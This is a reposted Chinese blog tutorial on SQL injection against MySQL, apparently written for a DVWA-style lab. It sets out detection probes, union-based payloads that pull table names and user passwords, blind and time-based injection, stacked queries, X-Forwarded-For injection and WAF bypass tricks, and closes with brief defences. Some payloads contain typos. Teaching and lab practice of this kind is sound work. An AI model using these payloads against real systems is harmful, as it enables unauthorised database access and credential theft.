【SQL注入】

SQL注入:通過可輸入/修改sql參數實現攻擊的過程

文章目錄

        • 0x00 SQL注入漏洞原理
        • 0x01 前置知識
          • 1 SQL注入分類
          • 2 數據庫知識
        • 0x02 是否存在SQL注入?
        • 0x03 不同SQL注入
          • 1. Union注入
          • 2. 盲注Blind
          • 3. base64注入
        • 0x04 SQL注入繞過技術
        • 0x05 SQL防注入

0x00 SQL注入漏洞原理

滿足2條件:

? 參數用戶可控、參數帶入數據庫查詢

0x01 前置知識
1 SQL注入分類
  • Union注入
  • Boolean
  • 報錯
  • 盲注
2 數據庫知識

mysql 5.0后1庫3張表和字段:

Information_schma
表名:Information_schma.schemata表名:Information_schma.TABLES       字段:TABLE_SCHEMA()TABLE_NAME()表名:Information_schma.COLUMNS    字段:TABLE_SCHEMA()TABLE_NAME()BOLUMN_NAME(字段)

函數及注釋:

  • limit函數:limit 0,1 :第0行開始,取1條記錄

  • Database():當前網站使用的數據庫

  • Version():當前MySQL版本

  • User():當前MySQL的用戶

  • 注釋符:# 、 – 、 /**/

  • 內聯注釋:

    /*!code*/  
    用來執行我們的sql語句
    示例:   Index.php?id=-15 /*!UNION#/ /*!SELECT*/ 1,2,3
    
0x02 是否存在SQL注入?
1
1'
1 and 1=1
1 and 1=2

"1 and 1=1"的Reply和1的一致,"1 and 1=2"和1的Reply和1的不一致,說明存在SQL注入。

0x03 不同SQL注入
1. Union注入

? 第一步:判斷是否存在注入

原理:1和1and 1=1 返回結果一致
參考:如果order by也可執行的話,sql注入優先考慮 union注入

參考2:堆疊查詢注入與union注入相似

#只是堆疊的是另一條查詢語句
1' ;select if(substr(user(),1,1)='v',sleep(5),1) %23

? union后續步驟

  1. 注入的sql語句中字段個數: order by 字段數
1' order by 1
  1. 回顯字段的記錄:
    注意:mysql聯合查詢每個 SELECT 語句的列數和對應位置的數據類型必須相同。
unsion select 1,2
示例:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,2
/*
結果為first_name, last_name和記錄是1,2的記錄聯合查詢,
我們要把1,2當作列使用, 解決:最好是同一張表的字段名(因為有相同行數)
所以在表查詢中2位置可替換為 函數
直接查database()結果為 記錄數的行數條的數據庫名
*/
  1. 找指定記錄
    當前數據庫,當前庫中表,當前表中字段,知道字段替換1,2名稱
#當前數據庫名
1' union select 1,database() # 
#當前庫中表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
# 當前表字段
1' union select 1,column_name from information_schema.columns where table_name='users' #

查所需數據

#此時可以替換union select 1,22處位置 
1' union select user,password from users #
2. 盲注Blind

原理:回顯為 是或否 及類似 方式
分類:

本人覺得如:報錯注入(yes/no)、時間盲注(response時間)都可歸為一種,但利用的方法不同。
只是利用了server的 response 或者 反應機制。

利用方法:

length(database())substr(database(),1,1)='d'
updatexml(1,concat(0x7e,(select user()),0x7e),1) 
sleep()benchmark()#如if(length(database())>1,sleep(5),1)

步驟前提:存在SQL注入

#本示例參數為規律性ID序號
1
1' and 1=1 #
1' and 1=2 #

步驟:
數據庫名,表名,記錄內容

#判斷數據庫名長度
1' and length(database()) >=1 #
#數據庫名
1' and substr(database(),1,1)='d' #substr:截取第1個字符,返回1個
或 1' and ord(substr(database(),1,1))=115 #
/**
第2種時ASCII碼的字符,ord函數轉換
可以考慮用Burp爆破字典
**/
# 表名、字段,記錄
# 每個表名,每個表名字符都需挨個檢查。推薦字典爆破。
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g' #
/**
表名,字段名知道后,依然是對 關鍵的記錄 進行 字符判斷
**/
1' and substr((select password from users where xx=xx),limit 0,1)1,1) #



3. base64注入

原理:發送請求message時參數通過 url 編碼如base64編碼方式。(%3d是base64編碼的顯著特征)
解決:只要知道特殊字符的base64編碼和union注入即可。

?

利用場景:
?url + union 繞過WAF: 對參數ID的檢查。


XFF注入

? X-Forwarded-for:客戶端真實IP。一個HTTP協議拓展頭,

? 可設置其值,127.0.0.1’ 1=1 # 其他類似union注入


0x04 SQL注入繞過技術
#判斷是否存在SQL注入的步驟
1
1'
1 and 1=1
1 and 1=2
/**
當1'和1回顯不一致,1 and 1=1通過且和1 的結果一致,說明存在SQL注入
但是1 and 1=1 ,和前兩者的返回都不一樣且報錯,說明什么?

關鍵字被過濾:如and、or、order by、
思考:被誰過濾?關鍵字的過濾放置到WAF/前端/后端?

bypass繞過方式:

  • 關鍵字大小寫繞過
    對關鍵字如and …改變字符大小寫。如:改為:And嘗試繞過。
  • 關鍵字雙寫繞過
    ?如關鍵字and被過濾,使用 anandd
  • 編碼繞過
    服務器對URL解碼一次,所以對URL全編碼時編碼2次,如只過濾關鍵字可只編碼關鍵字
  • 內聯注釋繞過
    與mysql的內聯注釋符/!and/相關。
    如: id=1/*!and*/ 1=1



0x05 SQL防注入

防注入方式:

  • 過濾危險字符
    (如發現一些關鍵字(and、sleep等其他函數)則退出程序)
    ? 注:一定程度可防止SQL注入,但仍然可以繞過

  • 預編譯sql語句
    ? (對數據庫增刪改查時不直接查詢,而是使用占位符,對參數進行檢查后,再進行語句)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/37988.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/37988.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/37988.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

網絡爬蟲的應用場景

網絡爬蟲的應用場景 網絡爬蟲的應用場景在現代信息化社會中顯得尤為廣泛和重要。除了我們熟知的搜索引擎利用爬蟲技術抓取互聯網上的信息以提供用戶搜索服務外,還有許多其他領域也依賴于網絡爬蟲的高效運作。 在電商領域,網絡爬蟲被廣泛應用于價格監控…

最強文生圖模型Stable Diffusion 3 Medium 正式開源

Stability AI 宣布 Stable Diffusion 3 Medium 現已開源,是 Stable Diffusion 3 系列中最新、最先進的文本生成圖像 AI 模型 —— 官方聲稱是 “迄今為止最先進的開源模型”,其性能甚至超過了 Midjourney 6。 Stable Diffusion 3 Medium 模型規格參數達到…

獲取 url 地址欄 ? 后面的查詢字符串,并以鍵值對形式放到對象里面

寫在前面 在前端面試當中,關于 url 相關的問題很常見,而對于 url 請求參數的問題也很常見,大部分以筆試題常見,今天就根據這道面試題一起來看一下。 問題 獲取 url 地址欄?后面的查詢字符串,并以鍵值對形式放到對象…

[分布式網絡通訊框架]----MprpcController以及Logger類

在calluserservice.cc中,使用UserServiceRpc_Stub類的時候,我們最終調用形式為:stub.Login(&controller,&request,&response,nullptr); 注意到其中有一個controller對象,這個是由MprpcController類定義出來的對象&…

LLVM AliasAnalysis別名分析 TBAA TypeBasedAliasAnalysis

一、什么是別名分析 Alias Analysis (又名 Pointer Analysis)是用于確定兩個指針是否指向內存中的同一對象,這里有很多不同的別名分析算法,分為幾種類型:流敏感vs流非敏感、上下文敏感vs上下文非敏感、域敏感vs域非敏感、基于一致性的vs基于…

單片機學習(16)--直流電機驅動

直流電機驅動 15.1直流電機驅動基礎知識1.直流電機介紹2.電機驅動電路3.PWM介紹 15.2LED呼吸燈和直流電機調速1.LED呼吸燈代碼2.直流電機調速(1)產生PWM的方法(2)工程目錄(3)main.c函數 15.1直流電機驅動基…

isdecimal()方法——判斷字符串是否只包含十進制字符

自學python如何成為大佬(目錄):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 語法參考 isdecimal()方法用于檢查字符串是否只包含十進制字符。這種方法只適用于unicode對象。 注意:定義一個十進制字符串&#xff0c…

linux高級編程(進程)(2)

父子進程的關系: 子進程是父進程的副本。子進程獲得父進程數據段,堆,棧,正文段共享。(子分配了一塊新的內存,但是代碼段指向父進程,也就是說不論幾個子進程都只有一個code段) …

SpringCloud中復制模塊然后粘貼,文件圖標缺少藍色方塊

再maven中點擊+號,把當前pom文件交給maven管理即可

RabbitMq的基礎及springAmqp的使用

RabbitMq 官網:RabbitMQ: One broker to queue them all | RabbitMQ 什么是MQ? mq就是消息隊列,消息隊列遵循這先入先出原則。一般用來解決應用解耦,異步消息,流量削峰等問題,實現高性能,高可用&#xf…

容器技術-docker2

容器化技術Docker Docker介紹 官網: docker.io docker.com 公司名稱:原名dotCloud 14年改名為docker 容器產品:docker 16年已經被更名為Moby docker-hub docker.io docker容器歷史 和虛擬機一樣,容器技術也是一種資源隔…

java基于ssm+jsp 二手手機回收平臺系統

1前臺首頁功能模塊 二手手機回收平臺系統,在系統首頁可以查看首頁、手機商城、新聞資訊、我的、跳轉到后臺、購物車等內容,如圖1所示。 圖1前臺首頁功能界面圖 用戶注冊,在用戶注冊頁面可以填寫賬號、密碼、姓名、手機、郵箱、照片、地址、…

深度解析RocketMq源碼-消息推送、持久化、消費全流程

1.緒論 前面的幾篇文章都剖析了broker的存儲文件。那么生產者發送一條消息到達broker過后是如何處理的,這條消息結果什么處理過后,消費者才能夠消費這條消息。接下來,帶我們將仔細剖析一下一條消息從生產者生產消息,到到達broker…

在線字節大端序小端序轉換器

具體請前往:在線字節大端序小端序轉換器

操作系統期末復習真題四

一、前言🚀🚀🚀 小鄭在刷題的過程中幫大家整理了一些常見的考試題目,以及易于遺忘的知識點,希望對大家有所幫助。 二、正文?????? 1.OS的不確定性是指(ABC)。 A.程序的運行次序不確定 B.程序多次運行的時間不…

獨立開發者系列(13)——示例理解面向對象與過程

專業術語晦澀難懂,特別是當你沒有寫過稍微大點的系統的時候,你要理解這里面的區別很難。 從最簡單的早期我們學習開始,我們除了練習hello world掌握了入門函數之后,基本都再練習算法。比如水仙花數的獲取,冒泡排序&…

Redis的使用和原理

目錄 1.初識Redis 1.1 Redis是什么? 1.2 Redis的特性 1.2.1 速度快 1.2.2 基于鍵值對的數據結構服務器 1.2.3 豐富的功能 1.2.4 簡單穩定 1.2.5 持久化 1.2.6 主從復制 1.2.7 高可用和分布式 1.3 Redis的使用場景 1.3.1 緩存 1.3.2 排行榜系統 1.3.3 計數器應用 1.3…

【計算機網絡】HTTPS——更安全的HTTP通信(個人筆記)

學習日期:2024.6.26 內容摘要:HTTPS存在的意義、特點和工作方式 HTTP的缺點——易竊聽、偽裝、篡改 在Web及網絡基礎中,我們已經知道了網頁是怎么打開的,HTTP確實是一個相當優秀和方便的協議,但HTTP也有很多不足&…

【操作系統期末速成】 EP04 | 學習筆記(基于五道口一只鴨)

文章目錄 一、前言🚀🚀🚀二、正文:??????2.1 考點七:進程通信2.2 考點八:線程的概念2.3 考點九:處理機調度的概念及原則2.4 考點十:調度方式與調度算法 一、前言🚀…

排序(冒泡排序、選擇排序、插入排序、希爾排序)-->深度剖析(一)

歡迎來到我的Blog,點擊關注哦💕 前言 排序是一種基本的數據處理操作,它涉及將一系列項目重新排列,以便按照指定的標準(通常是數值大小)進行排序。在C語言中,排序算法是用來對元素進行排序的一系…